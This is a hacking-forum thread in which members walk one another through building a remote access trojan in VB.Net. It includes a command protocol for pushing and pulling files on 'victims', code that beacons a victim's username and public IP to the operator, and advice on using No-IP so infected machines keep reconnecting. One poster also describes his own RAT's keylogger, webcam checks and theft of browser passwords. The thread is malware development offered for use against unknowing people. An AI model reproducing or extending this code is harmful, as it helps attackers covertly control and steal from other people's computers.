(Feb 25, 2010 09:15 AM)proisr Wrote: Thank you correy, I've understand how to add my own functions.
About the victims list- I think I'll ask some friend of mine for help making a data base for the server (he is a WEB programmer).
I want to get much info as possible from my victims and save it in nicely tables.
Good luck on that.
(Feb 25, 2010 09:15 AM)proisr Wrote: How can I send and receive files through my sclient/server?
Like a remote file manager (So I'll could Upload/Download files) .
I don't know, I haven't ventured the depths of RAT programming, please wait for corey :P
(Feb 25, 2010 09:15 AM)proisr Wrote: How can I send and receive files through my sclient/server?
Like a remote file manager (So I'll could Upload/Download files) .
Yes, It can be done.
You need two things before you can actually send the file to the server/client
The file name & the file size
You would need to make a new command/function for this. Lets call sending a file 3*. And receiving a file 4*.
So you want to send a file, You need to select a file. Lets say I wanted to send this file
I would send this
What I sent above was like this. First it was the id of the command/function. Then I defined the file I want to send. So the client will make an empty file in C:\ and name it Test.exe. Then it will know that the file should be only 1024 bytes.
The client will also know that the next file related command (lets say "5*") will be 1024 bytes of data. So I send
Code 5*1234567890 'Pretend this is a 1024 byte string)
The client would write "1234567890" or id(1) to the file.
Or to make this more simple. you could make it all one send. like this
Code 3*C:\Test.exe*1024*1234567890
So id(1) is the file location + the file name
id(2) is the file size, so the client wont keep waiting for the server to send more data. and can stop writing after 1024 bytes.
id(3) is the entire files data. So it will write 1234567890 to the file.
Edit: Also on the tables and the victims connecting. you can make a table in the program. Make it connection based. And find out anything you want. like mine finds out then name, Machine name, IP address, Active window, Operating system, if its busy, if it has a webcam, keylogger active, if it's had its Firefox/other passwords stolen. you can add as many bits of information you want to the table. And it will all be on the fly, and wont deal with ASP/PHP. If you need I will help you with it.
DO NOT DEAL WITH THIS MEMBER
(Feb 25, 2010 11:33 AM)corey Wrote: Yes, It can be done.
You need two things before you can actually send the file to the server/client
The file name & the file size
You would need to make a new command/function for this. Lets call sending a file 3*. And receiving a file 4*.
So you want to send a file, You need to select a file. Lets say I wanted to send this file
I would send this
What I sent above was like this. First it was the id of the command/function. Then I defined the file I want to send. So the client will make an empty file in C:\ and name it Test.exe. Then it will know that the file should be only 1024 bytes.
The client will also know that the next file related command (lets say "5*") will be 1024 bytes of data. So I send
Code 5*1234567890 'Pretend this is a 1024 byte string)
The client would write "1234567890" or id(1) to the file.
Or to make this more simple. you could make it all one send. like this
Code 3*C:\Test.exe*1024*1234567890
So id(1) is the file location + the file name
id(2) is the file size, so the client wont keep waiting for the server to send more data. and can stop writing after 1024 bytes.
id(3) is the entire files data. So it will write 1234567890 to the file.
Edit: Also on the tables and the victims connecting. you can make a table in the program. Make it connection based. And find out anything you want. like mine finds out then name, Machine name, IP address, Active window, Operating system, if its busy, if it has a webcam, keylogger active, if it's had its Firefox/other passwords stolen. you can add as many bits of information you want to the table. And it will all be on the fly, and wont deal with ASP/PHP. If you need I will help you with it.
Oh I think I understand now the id() method, I've learned about it in my school (robotics lessons), the * it's just a sign for the program to know where to split the string right? and how to read it.
About the remote file manager - can I use Open&save file.dialog functions right? to find out the path&size of the file right?
Now I just now how to open file from the victim on the victim PC.
Victims table - I know how to find out the needed details from a PC, but how can I make the server to notify me when he's online, do I need to set my client IP on the server?
If true, I think this is one of the reasons that the famous RATs use NO-IP service- so the server will always find the client and notify him when logged in.
(Feb 25, 2010 12:18 PM)proisr Wrote: If true, I think this is one of the reasons that the famous RATs use NO-IP service- so the server will always find the client and notify him when logged in. No-Ip allows you to have a dynamic (Changes) IP address but still connect to your clients.. The No-Ip is basically a redirect. So instead pointing your rats towards your dynamic ip, and after a week or so; They cannot connect. The no-ip will serve as a Static ip for you to always maintain a connection. While not losing all your clients when your IP changes.
As for adding the table. I'm going to make you a tut, With pics and all. So I can show you how to do it using the id() function.
Awesome Mate! I love the basic FUD RAT <3.
Okay, so this doesn't need pictures. Only one. Here it is. (Actually two)
So this is before I've sent ANY data
[img]http://i47.[censored].com/102uof6.jpg[/img]
And this is after I've hit the Default button many times
[img]http://i49.[censored].com/30vd37a.jpg[/img]
This is a very basic way to do it using splits.
Here is what you need to add to the server:
Code If id(0) = 0 Then
Dim lvi As New ListViewItem
lvi.Text = id(1)
lvi.SubItems.Add(id(2))
lvi.SubItems.Add(id(3))
lvi.SubItems.Add(id(4))
ListView1.Items.Add(lvi)
End If
That is for receiving data, and adding it to the user table.
Now, Open your client, and put this under a button click event.
And add the subs somewhere.
Code 'First declare a string :3
Dim ipaddrs As String = ""
'Now put this sub in anywhere outside another sub
Public Function getpagehtml(ByVal url As String)
Dim objwc As New System.Net.WebClient()
Return New System.Text.UTF8Encoding().GetString(objwc.DownloadData(url))
End Function
'Then under form1 load put this
'ipaddrs = getpagehtml("Http://www.whatismyip.com/automation/n09230945.asp")
'And then under a button one click put this, This is what adds the user to the table
dat("0*" + Environment.UserName + "*" + ipaddrs.ToString + "*" + "False" + "*" + Application.ProductVersion.ToString)
This works 100% of the time for me. it should work for you. you can add more advanced bits to it. Like active window, and such.
This is epic tut....
:D
Thank youu
I'm still fairly new to VB.Net. Where exactly do I add this? (Sorry, I have the noob.)
Code Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
sock.Connect(ip, port)
Catch ex As Exception
MsgBox("Can not connect to designated ip at this time")
End Try
End Sub
[IMG]http://i50.[censored].com/63vbwp.png[/IMG]
(Feb 25, 2010 04:05 PM)Gent Wrote: I'm still fairly new to VB.Net. Where exactly do I add this? (Sorry, I have the noob.)
Code Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
sock.Connect(ip, port)
Catch ex As Exception
MsgBox("Can not connect to designated ip at this time")
End Try
End Sub
That goes in the client if you are making it a reverse connection. But, If your making a direct connection. you would put it into the server.
Once again corey, thanks for helping out the questioners. You rock.
Others, thanks for your comments.
Omigod.
Epic tutorial.
thanx. =3
“Be Who You Are and Say What You Feel Because Those Who Mind Don't Matter and Those Who Matter Don't Mind.” - Dr. Seuss
(Feb 25, 2010 09:49 PM)ChineseFountain Wrote: Omigod.
Epic tutorial.
thanx. =3
You're welcome.
(Feb 25, 2010 08:09 PM)--([-S7N-])-- Wrote: Once again corey, thanks for helping out the questioners. You rock.
Others, thanks for your comments.
No problem. I do it all for the kids. Nah, Jk. I'm working on some other features. I'll post some when I get them done. If anyone has any request's? Post them here.
------Client------
Code Imports System.Net
Imports System.Net.Sockets
Public Class Form1
Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 6961
Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
sock.Connect(ip, port)
Catch ex As Exception
MsgBox("Can not connect to designated ip at this time")
End Try
End Sub
Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
connect()
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
dat("0*" + TextBox3.Text)
End Sub
Sorry to say it but you must adjust your code you did not end the first class and this do create errors.
i salute you sir noob nice tut!
|